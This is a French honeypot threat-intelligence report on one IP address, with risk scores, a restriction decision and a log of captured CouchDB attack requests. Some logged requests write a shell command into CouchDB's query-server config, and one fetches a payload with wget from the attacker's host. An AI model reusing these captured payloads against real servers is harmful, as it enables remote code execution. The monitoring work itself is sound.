Fiche IP

Pays-Bas

31.56.209.86

Activité suspecte — risque 52/100 (Moyen) — MITRE TA0001 — confiance 95 % — via COUCHDB

FAI Swissnet LLC Première vue 15/10/2026 07:35 UTC Dernière vue 18/10/2026 21:13 UTC Risque Élevé

Période 2026-09-18 → 2026-10-18

Élevé 66/100

24h 7j 30j 90j

Synthèse

Score de risque max. 66/100 Élevé · Maximum de risk_score (événements honeypot)

Première observation 15/10/2026 07:35 UTC

Dernière observation 18/10/2026 21:13 UTC

Événements (période) 561

MITRE ATT&CK principal TA0001 392 occurrences

Pourquoi listée

Type « Sonde HTTP smuggling » (signaux protocolaires) · confiance 95%

Confiance 95 % — Score WAF 8

Décision

Restreindre

Risque élevé. Limitez le débit vers les services sensibles et réévaluez sous 24 h avant un blocage durable.

66/100 Confiance 95 % 561 événements DNSBL 127.0.0.3 TA0001

À faire

Reprendre le verdict DNSBL 127.0.0.3 (Sonde CouchDB) dans la règle ou le ticket.
Limiter le débit ou isoler 31.56.209.86 des services d’administration.
Surveiller les ports des dernières 24 h.
Passer en blocage si le régime devient une rafale ou si le score atteint 85.

Preuves JSON SOC CEF STIX Ticket nftables

Note de ticket

IP 31.56.209.86
Décision : Restreindre
Score max : 66/100 (Élevé)
Confiance : 95 %
Période : 2026-09-18 → 2026-10-18 · 561 événements
Motif : Type « Sonde HTTP smuggling » (signaux protocolaires) · confiance 95%
DNSBL : 86.209.56.31.dnsbl.blacklistip.com → 127.0.0.3 (Sonde CouchDB)
MITRE : TA0001
FAI : Swissnet LLC · Pays-Bas

Comparaison ASN / FAI

ASN 209373 · 31.56.209.0/24 · RIPENCC — 8 pair(s) ASN/FAI listé(s) — activité locale élevée vs pairs · 561 événements sur la période pour cette IP.

217.60.195.159 Sonde port 3317/TCP 05/08/2026 04:30 UTC
217.60.195.220 Sonde HTTP smuggling 04/08/2026 18:37 UTC
217.60.195.39 Sonde HTTP smuggling 31/07/2026 20:55 UTC
217.60.195.187 Sonde fichier configuration 27/07/2026 10:18 UTC
217.60.195.127 Sonde Telnet (23/TCP) 23/07/2026 07:08 UTC
217.60.195.138 Sonde port 12/07/2026 04:32 UTC
31.56.209.231 Sonde Jenkins 30/06/2026 04:51 UTC
217.60.195.150 Sonde Jenkins 21/06/2026 09:42 UTC

Événements (filtres)

561

Première observation

15/10/2026 07:35 UTC

Dernière observation

18/10/2026 21:13 UTC

Dernière activité (filtres)

18/10/2026 21:13 UTC

Événements 7j

561

Ports distincts (7j)

Classifications (7j)

Sévérité max (7j)

Élevée

Activité multi-protocole

Cette IP touche plusieurs services simulés (pas seulement le web).

COUCHDB TCP 542 DOCKER TLS TCP 15 HTTP TCP 2 TLS TCP 1

COUCHDB

542

DOCKER TLS

HTTP

TLS

Géolocalisation

Origine réseau déclarée

Pays-Bas unknown unknown

FAI / réseau

Opérateur et dernière activité ban

Swissnet LLC 0 Port 5984 Sonde CouchDB

Renseignement menaces

Score capteur — surveiller, investiguer ou bloquer.

Recommandation

Stade d'attaque

Tentative d'exploit

Chaîne d'attaque

Exploitation

Vecteur d'attaque

http smuggling probe · via COUCHDB:5984 · (tentative d'exploit)

Détails protocole

Aperçu payload

PUT /raueugkw/_design/ovuvbfjm HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 48 Authorization: Ba

Port / service

5984 · COUCHDB

Service émulé

COUCHDB

Raison confiance

Confiance 95 % — Motif catalogue confirmé

Technique MITRE

TA0001

Persona capteur

mail.sensor-1.internal

Recommandation

Investiguer

Rôle capteur

Renseignement menaces

Signaux de précision

pat-0842

Confiance

95%

Famille de menace

web_injection

MITRE ATT&CK — tactiques

Reconnaissance Développement Accès Exécution Persistance Élévation Contournement Accès Découverte Mouvement Collecte Commande Exfiltration Impact

Décomposition confiance

Décomposition du score

Filtres

Les dates De/À priment sur la période. Affinez protocole, port, service et classification.

proto=Tous service=Tous port=Tous type=Tous sév.=Toutes

Période

Protocole

Port (dst)

Service

Classification

Sévérité min

Sévérité max

Réinitialiser

Profil d’activité

Heures UTC et jours de la semaine, calculés sur les séries de la page

Heures UTC

Jours de semaine

Constats

Lecture automatique du volume, des ports et des créneaux UTC

Timeline

561 événements filtrés — activité quotidienne

Ports 24 h

Top ports ciblés sur les dernières 24 heures

Top ports

Part du volume sur la période filtrée

Top classifications

Libellés capteur, part du volume

Heatmap attaques 7j

Intensité par jour et heure (UTC capteur)

Chronologie des événements

561 événement(s) — page 1/23

Horodatage	Proto	Port	Service	Classification	Sévérité	Risque
18/10/2026 21:13:04 UTC	TCP	5984 · COUCHDB	couchdb	Sonde HTTP smuggling http smuggling probe · via COUCHDB:5984 · (tentative d'exploit)	Élevée	Moyen · 52
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces MITRE TA0001 TA0001 TA0002 Protocole Émulateur COUCHDB WAF — Recommandation Investiguer Tags couchdb_emulated couchdb_payload net_couchdb_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 5984 Chemin / cible — Service COUCHDB Payload PUT /raueugkw/_design/ovuvbfjm HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 48 Authorization: Ba Pourquoi cette classification : Type « Sonde HTTP smuggling » (signaux protocolaires) · confiance 95% Confiance classification 95% Risque capteur Moyen · 52 Confiance : Confiance 95 % — Motif catalogue confirmé Protocole émulé 1 Signaux pat-0842 Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Motifs de détection (base) CRS 921130 duplicate CL Cred Basic auth spray User-Agent — Règles WAF — Payload (extrait) PUT /raueugkw/_design/ovuvbfjm HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 48 Authorization: Ba Requête brute (extrait) PUT /raueugkw/_design/ovuvbfjm HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 48 Authorization: Basic YW5seWhtaDp1d2VrY256d3h4 Content-Type: application/json {"language":"ovuvbfjm","views":{"v":{"map":""}}} Meta JSON brut {"protocol_emulated":true,"emulator_response":"485454502f312e3120323030204f4b0d0a5365727665723a20436f75636844422f332e332e33202845726c616e67204f5450290d0a582d436f75636844422d426f64792d54696d653a20300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20313534","emulator_response_len":286,"bytes_in":240,"payload_entropy":5.448779548866202,"port_category":"registered","org":"Swissnet LLC","service":"couchdb","app_proto":"couchdb","asn":209373,"country":"NL","dst_port":5984,"risk_waf":8,"risk_classification":85,"risk_behavior":0,"risk_geo":0,"risk_protocol":30,"risk_novelty":15,"risk_boost":0,"risk_granularity":1.2,"risk_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15},"risk_score":52,"tag_count":3,"anomaly_count":0,"campaign_key":"29954183a5ec19d6f27e18af8642b9068b75a9db","event_fingerprint":"ff7d4ab9a5d149e36f724b4980f53d45ea707dff","classification_reason":"Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%","confidence":0.95,"classification_confidence":0.95,"precision_score":84,"precision_signals":["pat-0842"],"kb_rule_ids":["pat-0842"],"matched_patterns":["pat-0842","pat-0463"],"matched_pattern_names":["CRS 921130 duplicate CL","Cred Basic auth spray"],"pattern_ids":["pat-0842","pat-0463"],"confidence_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15,"risk_score":52},"named_classification_skipped":false,"service_name":"co…
18/10/2026 21:13:04 UTC	TCP	5984 · COUCHDB	couchdb	Sonde HTTP smuggling http smuggling probe · via COUCHDB:5984 · (tentative d'exploit)	Élevée	Moyen · 52
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces MITRE TA0001 TA0001 TA0002 Protocole Émulateur COUCHDB WAF — Recommandation Investiguer Tags couchdb_emulated couchdb_payload net_couchdb_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 5984 Chemin / cible — Service COUCHDB Payload POST /raueugkw/_temp_view?limit=1 HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 32 Authorization: Pourquoi cette classification : Type « Sonde HTTP smuggling » (signaux protocolaires) · confiance 95% Confiance classification 95% Risque capteur Moyen · 52 Confiance : Confiance 95 % — Motif catalogue confirmé Protocole émulé 1 Signaux pat-0842 Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Motifs de détection (base) CRS 921130 duplicate CL Cred Basic auth spray User-Agent — Règles WAF — Payload (extrait) POST /raueugkw/_temp_view?limit=1 HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 32 Authorization: Requête brute (extrait) POST /raueugkw/_temp_view?limit=1 HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 32 Authorization: Basic YW5seWhtaDp1d2VrY256d3h4 Content-Type: application/json {"language":"ovuvbfjm","map":""} Meta JSON brut {"protocol_emulated":true,"emulator_response":"485454502f312e3120323030204f4b0d0a5365727665723a20436f75636844422f332e332e33202845726c616e67204f5450290d0a582d436f75636844422d426f64792d54696d653a20300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20313534","emulator_response_len":286,"bytes_in":227,"payload_entropy":5.468832100293671,"port_category":"registered","org":"Swissnet LLC","service":"couchdb","app_proto":"couchdb","asn":209373,"country":"NL","dst_port":5984,"risk_waf":8,"risk_classification":85,"risk_behavior":0,"risk_geo":0,"risk_protocol":30,"risk_novelty":15,"risk_boost":0,"risk_granularity":1.2,"risk_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15},"risk_score":52,"tag_count":3,"anomaly_count":0,"campaign_key":"29954183a5ec19d6f27e18af8642b9068b75a9db","event_fingerprint":"ff7d4ab9a5d149e36f724b4980f53d45ea707dff","classification_reason":"Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%","confidence":0.95,"classification_confidence":0.95,"precision_score":84,"precision_signals":["pat-0842"],"kb_rule_ids":["pat-0842"],"matched_patterns":["pat-0842","pat-0463"],"matched_pattern_names":["CRS 921130 duplicate CL","Cred Basic auth spray"],"pattern_ids":["pat-0842","pat-0463"],"confidence_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15,"risk_score":52},"named_classification_skipped":false,"service_name":"co…
18/10/2026 21:13:04 UTC	TCP	5984 · COUCHDB	couchdb	Sonde HTTP smuggling http smuggling probe · via COUCHDB:5984 · (tentative d'exploit)	Élevée	Moyen · 52
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces MITRE TA0001 TA0001 TA0002 Protocole Émulateur COUCHDB WAF — Recommandation Investiguer Tags couchdb_emulated couchdb_payload net_couchdb_probe redis_config_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 5984 Chemin / cible — Service COUCHDB Payload PUT /_config/query_servers/ovuvbfjm HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 26 Authorizatio Pourquoi cette classification : Type « Sonde HTTP smuggling » (signaux protocolaires) · confiance 95% Confiance classification 95% Risque capteur Moyen · 52 Confiance : Confiance 95 % — Motif catalogue confirmé Protocole émulé 1 Signaux pat-0842 Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Motifs de détection (base) CRS 921130 duplicate CL Cred Basic auth spray CRS 932205 User-Agent — Règles WAF — Payload (extrait) PUT /_config/query_servers/ovuvbfjm HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 26 Authorizatio Requête brute (extrait) PUT /_config/query_servers/ovuvbfjm HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 26 Authorization: Basic YW5seWhtaDp1d2VrY256d3h4 Content-Type: application/json "/bin/sh /tmp/.ewzgqikeoc" Meta JSON brut {"protocol_emulated":true,"emulator_response":"485454502f312e3120323030204f4b0d0a5365727665723a20436f75636844422f332e332e33202845726c616e67204f5450290d0a582d436f75636844422d426f64792d54696d653a20300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20313534","emulator_response_len":286,"bytes_in":223,"payload_entropy":5.3785332827621355,"port_category":"registered","org":"Swissnet LLC","service":"couchdb","app_proto":"couchdb","asn":209373,"country":"NL","dst_port":5984,"risk_waf":8,"risk_classification":85,"risk_behavior":0,"risk_geo":0,"risk_protocol":30,"risk_novelty":15,"risk_boost":0,"risk_granularity":1.6,"risk_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15},"risk_score":52,"tag_count":4,"anomaly_count":0,"campaign_key":"a64e32fb4d2c8ceecf2a6ebd4251202dcbea3d83","event_fingerprint":"ff7d4ab9a5d149e36f724b4980f53d45ea707dff","classification_reason":"Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%","confidence":0.95,"classification_confidence":0.95,"precision_score":84,"precision_signals":["pat-0842"],"kb_rule_ids":["pat-0842"],"matched_patterns":["pat-0842","pat-0463","pat-0146"],"matched_pattern_names":["CRS 921130 duplicate CL","Cred Basic auth spray","CRS 932205"],"pattern_ids":["pat-0842","pat-0463","pat-0146"],"confidence_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15,"risk_score":52},"named_classificati…
18/10/2026 21:13:04 UTC	TCP	5984 · COUCHDB	couchdb	Sonde HTTP smuggling http smuggling probe · via COUCHDB:5984 · (tentative d'exploit)	Élevée	Moyen · 52
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces MITRE TA0001 TA0001 TA0002 Protocole Émulateur COUCHDB WAF — Recommandation Investiguer Tags couchdb_emulated couchdb_payload net_couchdb_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 5984 Chemin / cible — Service COUCHDB Payload PUT /raueugkw/_design/ptrpncnj HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 48 Authorization: Ba Pourquoi cette classification : Type « Sonde HTTP smuggling » (signaux protocolaires) · confiance 95% Confiance classification 95% Risque capteur Moyen · 52 Confiance : Confiance 95 % — Motif catalogue confirmé Protocole émulé 1 Signaux pat-0842 Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Motifs de détection (base) CRS 921130 duplicate CL Cred Basic auth spray User-Agent — Règles WAF — Payload (extrait) PUT /raueugkw/_design/ptrpncnj HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 48 Authorization: Ba Requête brute (extrait) PUT /raueugkw/_design/ptrpncnj HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 48 Authorization: Basic YW5seWhtaDp1d2VrY256d3h4 Content-Type: application/json {"language":"ptrpncnj","views":{"v":{"map":""}}} Meta JSON brut {"protocol_emulated":true,"emulator_response":"485454502f312e3120323030204f4b0d0a5365727665723a20436f75636844422f332e332e33202845726c616e67204f5450290d0a582d436f75636844422d426f64792d54696d653a20300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20313534","emulator_response_len":286,"bytes_in":240,"payload_entropy":5.342566303029492,"port_category":"registered","org":"Swissnet LLC","service":"couchdb","app_proto":"couchdb","asn":209373,"country":"NL","dst_port":5984,"risk_waf":8,"risk_classification":85,"risk_behavior":0,"risk_geo":0,"risk_protocol":30,"risk_novelty":15,"risk_boost":0,"risk_granularity":1.2,"risk_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15},"risk_score":52,"tag_count":3,"anomaly_count":0,"campaign_key":"29954183a5ec19d6f27e18af8642b9068b75a9db","event_fingerprint":"ff7d4ab9a5d149e36f724b4980f53d45ea707dff","classification_reason":"Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%","confidence":0.95,"classification_confidence":0.95,"precision_score":84,"precision_signals":["pat-0842"],"kb_rule_ids":["pat-0842"],"matched_patterns":["pat-0842","pat-0463"],"matched_pattern_names":["CRS 921130 duplicate CL","Cred Basic auth spray"],"pattern_ids":["pat-0842","pat-0463"],"confidence_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15,"risk_score":52},"named_classification_skipped":false,"service_name":"co…
18/10/2026 21:13:04 UTC	TCP	5984 · COUCHDB	couchdb	Sonde HTTP smuggling http smuggling probe · via COUCHDB:5984 · (tentative d'exploit)	Élevée	Moyen · 52
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces MITRE TA0001 TA0001 TA0002 Protocole Émulateur COUCHDB WAF — Recommandation Investiguer Tags couchdb_emulated couchdb_payload net_couchdb_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 5984 Chemin / cible — Service COUCHDB Payload POST /raueugkw/_temp_view?limit=1 HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 32 Authorization: Pourquoi cette classification : Type « Sonde HTTP smuggling » (signaux protocolaires) · confiance 95% Confiance classification 95% Risque capteur Moyen · 52 Confiance : Confiance 95 % — Motif catalogue confirmé Protocole émulé 1 Signaux pat-0842 Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Motifs de détection (base) CRS 921130 duplicate CL Cred Basic auth spray User-Agent — Règles WAF — Payload (extrait) POST /raueugkw/_temp_view?limit=1 HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 32 Authorization: Requête brute (extrait) POST /raueugkw/_temp_view?limit=1 HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 32 Authorization: Basic YW5seWhtaDp1d2VrY256d3h4 Content-Type: application/json {"language":"ptrpncnj","map":""} Meta JSON brut {"protocol_emulated":true,"emulator_response":"485454502f312e3120323030204f4b0d0a5365727665723a20436f75636844422f332e332e33202845726c616e67204f5450290d0a582d436f75636844422d426f64792d54696d653a20300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20313534","emulator_response_len":286,"bytes_in":227,"payload_entropy":5.40026742159362,"port_category":"registered","org":"Swissnet LLC","service":"couchdb","app_proto":"couchdb","asn":209373,"country":"NL","dst_port":5984,"risk_waf":8,"risk_classification":85,"risk_behavior":0,"risk_geo":0,"risk_protocol":30,"risk_novelty":15,"risk_boost":0,"risk_granularity":1.2,"risk_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15},"risk_score":52,"tag_count":3,"anomaly_count":0,"campaign_key":"29954183a5ec19d6f27e18af8642b9068b75a9db","event_fingerprint":"ff7d4ab9a5d149e36f724b4980f53d45ea707dff","classification_reason":"Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%","confidence":0.95,"classification_confidence":0.95,"precision_score":84,"precision_signals":["pat-0842"],"kb_rule_ids":["pat-0842"],"matched_patterns":["pat-0842","pat-0463"],"matched_pattern_names":["CRS 921130 duplicate CL","Cred Basic auth spray"],"pattern_ids":["pat-0842","pat-0463"],"confidence_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15,"risk_score":52},"named_classification_skipped":false,"service_name":"cou…
18/10/2026 21:13:03 UTC	TCP	5984 · COUCHDB	couchdb	Sonde HTTP smuggling http smuggling probe · via COUCHDB:5984 · (tentative d'exploit)	Élevée	Moyen · 52
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces MITRE TA0001 TA0001 TA0002 Protocole Émulateur COUCHDB WAF — Recommandation Investiguer Tags couchdb_emulated couchdb_payload net_couchdb_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 5984 Chemin / cible — Service COUCHDB Payload PUT /raueugkw/eywbrzfzsikd HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 7 Authorization: Basic Y Pourquoi cette classification : Type « Sonde HTTP smuggling » (signaux protocolaires) · confiance 95% Confiance classification 95% Risque capteur Moyen · 52 Confiance : Confiance 95 % — Motif catalogue confirmé Protocole émulé 1 Signaux pat-0842 Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Motifs de détection (base) CRS 921130 duplicate CL Cred Basic auth spray User-Agent — Règles WAF — Payload (extrait) PUT /raueugkw/eywbrzfzsikd HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 7 Authorization: Basic Y Requête brute (extrait) PUT /raueugkw/eywbrzfzsikd HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 7 Authorization: Basic YW5seWhtaDp1d2VrY256d3h4 Content-Type: application/json {"x":1} Meta JSON brut {"protocol_emulated":true,"emulator_response":"485454502f312e3120323030204f4b0d0a5365727665723a20436f75636844422f332e332e33202845726c616e67204f5450290d0a582d436f75636844422d426f64792d54696d653a20300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20313534","emulator_response_len":286,"bytes_in":194,"payload_entropy":5.400684855356862,"port_category":"registered","org":"Swissnet LLC","service":"couchdb","app_proto":"couchdb","asn":209373,"country":"NL","dst_port":5984,"risk_waf":8,"risk_classification":85,"risk_behavior":0,"risk_geo":0,"risk_protocol":30,"risk_novelty":15,"risk_boost":0,"risk_granularity":1.2,"risk_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15},"risk_score":52,"tag_count":3,"anomaly_count":0,"campaign_key":"29954183a5ec19d6f27e18af8642b9068b75a9db","event_fingerprint":"ff7d4ab9a5d149e36f724b4980f53d45ea707dff","classification_reason":"Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%","confidence":0.95,"classification_confidence":0.95,"precision_score":84,"precision_signals":["pat-0842"],"kb_rule_ids":["pat-0842"],"matched_patterns":["pat-0842","pat-0463"],"matched_pattern_names":["CRS 921130 duplicate CL","Cred Basic auth spray"],"pattern_ids":["pat-0842","pat-0463"],"confidence_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15,"risk_score":52},"named_classification_skipped":false,"service_name":"co…
18/10/2026 21:13:03 UTC	TCP	5984 · COUCHDB	couchdb	Sonde HTTP smuggling http smuggling probe · via COUCHDB:5984 · (tentative d'exploit)	Élevée	Moyen · 52
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces MITRE TA0001 TA0001 TA0002 Protocole Émulateur COUCHDB WAF — Recommandation Investiguer Tags couchdb_emulated couchdb_payload net_couchdb_probe Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 5984 Chemin / cible — Service COUCHDB Payload PUT /raueugkw HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 0 Authorization: Basic YW5seWhtaDp1d2 Pourquoi cette classification : Type « Sonde HTTP smuggling » (signaux protocolaires) · confiance 95% Confiance classification 95% Risque capteur Moyen · 52 Confiance : Confiance 95 % — Motif catalogue confirmé Protocole émulé 1 Signaux pat-0842 Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Motifs de détection (base) CRS 921130 duplicate CL Cred Basic auth spray User-Agent — Règles WAF — Payload (extrait) PUT /raueugkw HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 0 Authorization: Basic YW5seWhtaDp1d2 Requête brute (extrait) PUT /raueugkw HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 0 Authorization: Basic YW5seWhtaDp1d2VrY256d3h4 Meta JSON brut {"protocol_emulated":true,"emulator_response":"485454502f312e3120323030204f4b0d0a5365727665723a20436f75636844422f332e332e33202845726c616e67204f5450290d0a582d436f75636844422d426f64792d54696d653a20300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20313534","emulator_response_len":286,"bytes_in":142,"payload_entropy":5.25492427908915,"port_category":"registered","org":"Swissnet LLC","service":"couchdb","app_proto":"couchdb","asn":209373,"country":"NL","dst_port":5984,"risk_waf":8,"risk_classification":85,"risk_behavior":0,"risk_geo":0,"risk_protocol":30,"risk_novelty":15,"risk_boost":0,"risk_granularity":1.2,"risk_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15},"risk_score":52,"tag_count":3,"anomaly_count":0,"campaign_key":"29954183a5ec19d6f27e18af8642b9068b75a9db","event_fingerprint":"ff7d4ab9a5d149e36f724b4980f53d45ea707dff","classification_reason":"Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%","confidence":0.95,"classification_confidence":0.95,"precision_score":84,"precision_signals":["pat-0842"],"kb_rule_ids":["pat-0842"],"matched_patterns":["pat-0842","pat-0463"],"matched_pattern_names":["CRS 921130 duplicate CL","Cred Basic auth spray"],"pattern_ids":["pat-0842","pat-0463"],"confidence_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":15,"risk_score":52},"named_classification_skipped":false,"service_name":"cou…
18/10/2026 21:13:03 UTC	TCP	5984 · COUCHDB	couchdb	Sonde HTTP smuggling http smuggling probe · via COUCHDB:5984 · (tentative d'exploit)	Élevée	Moyen · 52
Étape Tentative d'exploit Chaîne Exploitation Persona mail.sensor-1.internal Rôle capteur Renseignement menaces MITRE TA0001 TA0001 TA0002 Protocole Émulateur COUCHDB WAF — Recommandation Investiguer Tags botnet_c2 couchdb_emulated couchdb_payload mirai_pattern Cible HTTP — TLS SNI — Capteur paris-1
Preuve / Evidence Méthode — Port 5984 Chemin / cible — Service COUCHDB Payload PUT /_config/query_servers/ptrpncnj HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 237 Authorizati Pourquoi cette classification : Type « Sonde HTTP smuggling » (signaux protocolaires) · confiance 95% Confiance classification 95% Risque capteur Moyen · 52 Confiance : Confiance 95 % — Motif catalogue confirmé Protocole émulé 1 Signaux pat-0842 Technique MITRE TA0001 Tactiques MITRE TA0001 TA0002 Motifs de détection (base) CRS 921130 duplicate CL Cred Basic auth spray LFI Double-dot bypass User-Agent — Règles WAF — Payload (extrait) PUT /_config/query_servers/ptrpncnj HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 237 Authorizati Requête brute (extrait) PUT /_config/query_servers/ptrpncnj HTTP/1.1 Host: 62.3.50.33:5984 Accept-Encoding: identity Content-Length: 237 Authorization: Basic YW5seWhtaDp1d2VrY256d3h4 Content-Type: application/json "echo '(wget -qO /tmp/.udqbcoio http://31.56.209.86/l_couc Meta JSON brut {"protocol_emulated":true,"emulator_response":"485454502f312e3120323030204f4b0d0a5365727665723a20436f75636844422f332e332e33202845726c616e67204f5450290d0a582d436f75636844422d426f64792d54696d653a20300d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20313534","emulator_response_len":286,"bytes_in":435,"payload_entropy":5.3775087466341,"port_category":"registered","org":"Swissnet LLC","service":"couchdb","app_proto":"couchdb","asn":209373,"country":"NL","dst_port":5984,"risk_waf":8,"risk_classification":85,"risk_behavior":0,"risk_geo":0,"risk_protocol":30,"risk_novelty":25,"risk_boost":20,"risk_granularity":2.3,"risk_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":25},"risk_score":52,"tag_count":6,"anomaly_count":0,"campaign_key":"3d3badeac3eff8e05f9cf669b4f809623c479b81","event_fingerprint":"ff7d4ab9a5d149e36f724b4980f53d45ea707dff","classification_reason":"Type \u00ab http_smuggling_probe \u00bb (signaux protocolaires) \u00b7 confiance 95%","confidence":0.95,"classification_confidence":0.95,"precision_score":84,"precision_signals":["pat-0842"],"kb_rule_ids":["pat-0842"],"matched_patterns":["pat-0842","pat-0463","pat-0103"],"matched_pattern_names":["CRS 921130 duplicate CL","Cred Basic auth spray","LFI Double-dot bypass"],"pattern_ids":["pat-0842","pat-0463","pat-0103"],"confidence_breakdown":{"waf":8,"classification":85,"behavior":0,"geo":0,"protocol":30,"novelty":25,"risk_score":52},"named_cla…
18/10/2026 21:13:03 UTC	TCP	5984 · COUCHDB	couchdb	Sonde CouchDB couchdb probe · via COUCHDB:5984 · (sonde / probe)	Élevée	Faible · 34
Étape Sonde / probe Chaîne Découverte Persona mail.sensor-1.internal Rôle capteur Renseignement menaces MITRE TA0007 TA0007 TA0001 Protocole Émulateur COUCHDB WAF — Recommandation Surveiller Tags couchdb_emulated couchdb_payload http_get_probe net_couchdb_probe Cible HTTP — TLS SNI — Capteur paris-1
